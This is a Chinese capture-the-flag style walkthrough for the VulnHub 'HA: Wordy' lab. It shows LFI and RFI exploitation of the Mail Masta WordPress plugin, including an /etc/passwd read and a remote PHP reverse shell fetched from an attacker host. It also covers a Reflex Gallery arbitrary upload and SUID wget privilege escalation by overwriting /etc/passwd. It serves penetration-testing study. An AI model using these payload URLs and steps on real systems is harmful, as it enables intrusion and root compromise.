OSCP-vulnhub:ha-wordy靶机实战

-----------------------------------------------------------------------------------------------------------

前置：本文题干阅读时间推荐10min，靶场练习推荐4h

-----------------------------------------------------------------------------------------------------------

目录

一、前言

二、靶机信息

三、虚拟机配置

四、信息收集

五、漏洞利用（突破边界）

六、提权

---

一、前言

主要利用方式：通过wordpress 插件的若干漏洞进行相对应的突破边界+suid提权

二、靶机信息

    靶场: vulnhub.com

    靶机名称: HA: Wordy

    难度: 简单

    发布时间: 2019 年 9月 13 日

    下载地址：https://www.vulnhub.com/entry/ha-wordy,363/

    备注：1、此靶机存在若干漏洞，皆有先对应的方式突破边界，拿到www权限，但过多的漏洞易导致混淆，思路混乱

               2、反弹shell过程中，存在apache及python web服务的php解析问题，需重点关注

三、虚拟机配置

采用的VMware、网络连接模式：NAT模式、DHCP服务：启用、IP地址：自动分配

四、信息收集

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口开放及开放端口的详细服务

└─$ sudo nmap -p- 192.168.169.150 

└─$ sudo nmap -p80 192.168.169.150

3、经过探测，只有80存在一个web服务，访问

http://192.168.169.150/

4、先进行目录探测，存在若干目录

[09:56:24] 200 -   11KB - /index.html                                      

[09:56:25] 200 -   15B  - /info.php                                        

[09:56:25] 301 -  323B  - /javascript  ->  http://192.168.169.150/javascript/                             

[09:56:47] 200 -   10KB - /wordpress/wp-login.php                          

[09:56:48] 200 -   48KB - /wordpress/

5、发现80服务存在wordpress ，直接上wpscan工具，扫描插件及用户

wpscan --url http://192.168.169.150/wordpress

五、漏洞利用（突破边界）

方法一：远程文件包含（RFI）

6、这里mail masta查一下存在哪些漏洞，并下载本地文件包含的：50226.py 文件

7、本地查看50226.py的利用方式

8、通过本地文件包含（LFI）浏览器访问

http://192.168.169.152/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

9、验证了本地文件包含（LFI），再次尝试一下是否存在远程文件包含（RFI）

     cd到www/html文件夹下面，创建a.html文件，查看攻击机IP，并启动apache 服务，以备调用

10、通过浏览器去访问远程包含的url，验证存在测试的页面。

http://192.168.169.152/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.169.129/a.html

11、通过验证，存在远程文件包含，那就可以通过包含远程shell执行解析并进行反弹shell。

       拷贝kali自带的phpshell文件（php-reverse-shell.php），并进行更改名称为prs.php

12、更改反弹shell（监听机器）的IP及端口

13、关停apache服务，重新启动一个python web服务

      （此处需要思考的是攻击机和靶机皆为apache-php环境的时候，远程包含的文件到底在哪里解析执行）

14、攻击机设置监听，并在浏览器中访问URL

└─$ nc -nvlp 1234     

http://192.168.169.152/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.169.129/prs.php

15、反弹shell ，并查看id权限

方法二：任意文件上传（Arbitrary File Upload）

16、查看reflex_gallery 是否存在漏洞，下载相关漏洞说明：36374.txt，

17、查看36374.txt 关于reflex_gallery 的利用详情

18、构建exploit的html文件（b.html），并启动python服务，浏览器进行访问

19、复制前一个方法的shell文件（prs.php ->rev.php）并更改反弹shell的端口

20、点击browse 进行上传shell文件，点击Pwn！，并查看

192.168.169.152/wordpress/wp-content/uploads/2022/06/

21、攻击机设置监听，并在浏览器中访问URL

192.168.169.152/wordpress/wp-content/uploads/2022/06/rev.php

22、反弹shell ，并查看id权限

六、提权

23、查找suid权限文件，发现存在wget和cp，两种方法都可以直接覆盖root账号下的密码

24、wget -O 提权，利用wget -O命令覆盖/etc/passwd文件

在kali上创建文本文件，取名passwd，并将靶机/etc/passwd文件的内容复制进去。因为之后要覆盖靶机的/etc/passwd，所以名字要一模一样。

25、使用openssl创建一个密码，覆盖到刚创建的passwd

└─$ openssl passwd -1 20220614        

$1$m3cg8nDD$xLODZ5eYt1mdOvCz.gld41

26、攻击机开启python服务，靶机使用wget下载kali中新建的passwd到靶机的/etc目录进行覆盖，并查看覆盖后的passwd

27、升级交互式终端，查看ID

28、cd到root根目录，查看flag文件

-----------------------------------------------------------------------------------------------------------

如果各位大佬想讨论以下技术的，欢迎私信联系我

• OSCP相关技术（备考中）
• CISSP相关备考经验（已通过认证）
• CCSK（云安全） 及 ISO/IEC 27001 (2014) Foundation（已过认证）

到此就结束啦，保持每周双更，我们下期再见

-----------------------------------------------------------------------------------------------------------